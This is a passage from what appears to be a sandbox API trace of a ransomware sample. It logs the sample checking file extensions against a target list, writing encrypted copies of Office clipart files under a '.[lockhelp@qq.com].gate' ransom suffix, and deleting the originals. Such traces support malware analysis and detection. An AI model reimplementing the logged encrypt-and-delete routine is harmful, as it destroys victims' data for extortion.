(lpString1=".ppt", lpString2=".WMF") returned -1 [0293.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0293.305] lstrlenW (lpString=".zip") returned 4 [0293.305] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0293.305] lstrlenW (lpString=".rar") returned 4 [0293.305] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0293.305] lstrlenW (lpString=".bz2") returned 4 [0293.305] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0293.305] lstrlenW (lpString=".7z") returned 3 [0293.305] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0293.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0293.305] lstrlenW (lpString=".dbf") returned 4 [0293.305] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0293.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0293.305] lstrlenW (lpString=".1cd") returned 4 [0293.305] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0293.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0293.305] lstrlenW (lpString=".jpg") returned 4 [0293.305] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0293.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0293.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0293.306] lstrlenW (lpString=".doc") returned 4 [0293.306] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0293.306] lstrlenW (lpString=".docx") returned 5 [0293.306] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0293.306] lstrlenW (lpString=".pdf") returned 4 [0293.306] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0293.306] lstrlenW (lpString=".xls") returned 4 [0293.306] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0293.306] lstrlenW (lpString=".xlsx") returned 5 [0293.306] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0293.306] lstrlenW (lpString=".ppt") returned 4 [0293.306] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0293.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0293.306] lstrlenW (lpString=".zip") returned 4 [0293.306] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0293.306] lstrlenW (lpString=".rar") returned 4 [0293.306] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0293.306] lstrlenW (lpString=".bz2") returned 4 [0293.306] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0293.306] lstrlenW (lpString=".7z") returned 3 [0293.306] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0293.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0293.306] lstrlenW (lpString=".dbf") returned 4 [0293.306] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0293.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0293.307] lstrlenW (lpString=".1cd") returned 4 [0293.307] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0293.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0293.307] lstrlenW (lpString=".jpg") returned 4 [0293.307] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0293.307] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0293.307] lstrlenW (lpString="DD01162_.WMF") returned 12 [0293.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0293.307] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=2300) returned 1 [0293.307] CloseHandle (hObject=0x4c4) returned 1 [0293.307] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf")) returned 0x220 [0293.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0293.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0293.308] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.308] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0293.308] GetLastError () returned 0x0 [0293.309] ReadFile (in: hFile=0x4c4, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x8fc, lpOverlapped=0x0) returned 1 [0293.384] WriteFile (in: hFile=0x538, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x900, lpOverlapped=0x0) returned 1 [0293.385] ReadFile (in: hFile=0x4c4, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0293.385] WriteFile (in: hFile=0x538, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0293.385] SetEndOfFile (hFile=0x538) returned 1 [0293.399] CloseHandle (hObject=0x538) returned 1 [0293.399] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.399] SetEndOfFile (hFile=0x4c4) returned 1 [0293.434] CloseHandle (hObject=0x4c4) returned 1 [0293.434] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0293.435] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf")) returned 1 [0293.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0293.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0293.435] lstrlenW (lpString=".doc") returned 4 [0293.435] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0293.435] lstrlenW (lpString=".docx") returned 5 [0293.435] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0293.435] lstrlenW (lpString=".pdf") returned 4 [0293.435] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0293.435] lstrlenW (lpString=".xls") returned 4 [0293.435] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0293.435] lstrlenW (lpString=".xlsx") returned 5 [0293.435] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0293.436] lstrlenW (lpString=".ppt") returned 4 [0293.436] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0293.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0293.436] lstrlenW (lpString=".zip") returned 4 [0293.436] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0293.436] lstrlenW (lpString=".rar") returned 4 [0293.436] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0293.436] lstrlenW (lpString=".bz2") returned 4 [0293.436] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0293.436] lstrlenW (lpString=".7z") returned 3 [0293.436] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0293.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0293.436] lstrlenW (lpString=".dbf") returned 4 [0293.436] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0293.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0293.436] lstrlenW (lpString=".1cd") returned 4 [0293.436] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0293.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0293.436] lstrlenW (lpString=".jpg") returned 4 [0293.436] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0293.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0293.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0293.436] lstrlenW (lpString=".doc") returned 4 [0293.436] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0293.436] lstrlenW (lpString=".docx") returned 5 [0293.436] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0293.436] lstrlenW (lpString=".pdf") returned 4 [0293.436] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0293.436] lstrlenW (lpString=".xls") returned 4 [0293.436] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0293.436] lstrlenW (lpString=".xlsx") returned 5 [0293.436] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0293.436] lstrlenW (lpString=".ppt") returned 4 [0293.437] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0293.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0293.437] lstrlenW (lpString=".zip") returned 4 [0293.437] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0293.437] lstrlenW (lpString=".rar") returned 4 [0293.437] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0293.437] lstrlenW (lpString=".bz2") returned 4 [0293.437] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0293.437] lstrlenW (lpString=".7z") returned 3 [0293.437] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0293.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0293.437] lstrlenW (lpString=".dbf") returned 4 [0293.437] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0293.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0293.437] lstrlenW (lpString=".1cd") returned 4 [0293.437] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0293.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0293.437] lstrlenW (lpString=".jpg") returned 4 [0293.437] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0293.437] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0293.437] lstrlenW (lpString="DD01168_.WMF") returned 12 [0293.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0293.528] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=2004) returned 1 [0293.528] CloseHandle (hObject=0x4b0) returned 1 [0293.528] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf")) returned 0x220 [0293.541] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0293.541] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0293.541] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.541] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.541] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0293.542] GetLastError () returned 0x0 [0293.542] ReadFile (in: hFile=0x4b0, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x7d4, lpOverlapped=0x0) returned 1 [0293.623] WriteFile (in: hFile=0x4f4, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x7e0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x7e0, lpOverlapped=0x0) returned 1 [0293.624] ReadFile (in: hFile=0x4b0, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0293.624] WriteFile (in: hFile=0x4f4, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0293.624] SetEndOfFile (hFile=0x4f4) returned 1 [0293.624] CloseHandle (hObject=0x4f4) returned 1 [0293.624] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.624] SetEndOfFile (hFile=0x4b0) returned 1 [0293.626] CloseHandle (hObject=0x4b0) returned 1 [0293.626] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0293.627] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf")) returned 1 [0293.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0293.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0293.627] lstrlenW (lpString=".doc") returned 4 [0293.627] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0293.627] lstrlenW (lpString=".docx") returned 5 [0293.627] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0293.627] lstrlenW (lpString=".pdf") returned 4 [0293.627] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0293.627] lstrlenW (lpString=".xls") returned 4 [0293.627] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0293.627] lstrlenW (lpString=".xlsx") returned 5 [0293.627] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0293.627] lstrlenW (lpString=".ppt") returned 4 [0293.627] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0293.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0293.627] lstrlenW (lpString=".zip") returned 4 [0293.628] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0293.628] lstrlenW (lpString=".rar") returned 4 [0293.628] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0293.628] lstrlenW (lpString=".bz2") returned 4 [0293.628] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0293.628] lstrlenW (lpString=".7z") returned 3 [0293.628] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0293.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0293.628] lstrlenW (lpString=".dbf") returned 4 [0293.628] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0293.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0293.628] lstrlenW (lpString=".1cd") returned 4 [0293.628] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0293.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0293.628] lstrlenW (lpString=".jpg") returned 4 [0293.628] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0293.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0293.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0293.628] lstrlenW (lpString=".doc") returned 4 [0293.628] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0293.628] lstrlenW (lpString=".docx") returned 5 [0293.628] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0293.628] lstrlenW (lpString=".pdf") returned 4 [0293.628] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0293.628] lstrlenW (lpString=".xls") returned 4 [0293.628] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0293.628] lstrlenW (lpString=".xlsx") returned 5 [0293.628] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0293.628] lstrlenW (lpString=".ppt") returned 4 [0293.628] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0293.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0293.628] lstrlenW (lpString=".zip") returned 4 [0293.628] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0293.628] lstrlenW (lpString=".rar") returned 4 [0293.629] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0293.629] lstrlenW (lpString=".bz2") returned 4 [0293.629] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0293.629] lstrlenW (lpString=".7z") returned 3 [0293.629] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0293.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0293.629] lstrlenW (lpString=".dbf") returned 4 [0293.629] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0293.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0293.629] lstrlenW (lpString=".1cd") returned 4 [0293.629] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0293.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0293.629] lstrlenW (lpString=".jpg") returned 4 [0293.629] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0293.629] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0293.629] lstrlenW (lpString="DD01172_.WMF") returned 12 [0293.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0293.630] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=2232) returned 1 [0293.630] CloseHandle (hObject=0x4b0) returned 1 [0293.630] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf")) returned 0x220 [0293.630] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0293.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0293.630] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.630] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0293.654] GetLastError () returned 0x0 [0293.654] ReadFile (in: hFile=0x4b0, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x8b8, lpOverlapped=0x0) returned 1 [0294.213] WriteFile (in: hFile=0x4f4, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x8c0, lpOverlapped=0x0) returned 1 [0294.214] ReadFile (in: hFile=0x4b0, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0294.214] WriteFile (in: hFile=0x4f4, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0294.214] SetEndOfFile (hFile=0x4f4) returned 1 [0294.327] CloseHandle (hObject=0x4f4) returned 1 [0294.327] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.327] SetEndOfFile (hFile=0x4b0) returned 1 [0294.329] CloseHandle (hObject=0x4b0) returned 1 [0294.330] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0294.330] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf")) returned 1 [0294.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0294.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0294.330] lstrlenW (lpString=".doc") returned 4 [0294.330] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.330] lstrlenW (lpString=".docx") returned 5 [0294.330] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.330] lstrlenW (lpString=".pdf") returned 4 [0294.330] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.331] lstrlenW (lpString=".xls") returned 4 [0294.331] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.331] lstrlenW (lpString=".xlsx") returned 5 [0294.331] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.331] lstrlenW (lpString=".ppt") returned 4 [0294.331] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0294.331] lstrlenW (lpString=".zip") returned 4 [0294.331] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.331] lstrlenW (lpString=".rar") returned 4 [0294.331] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.331] lstrlenW 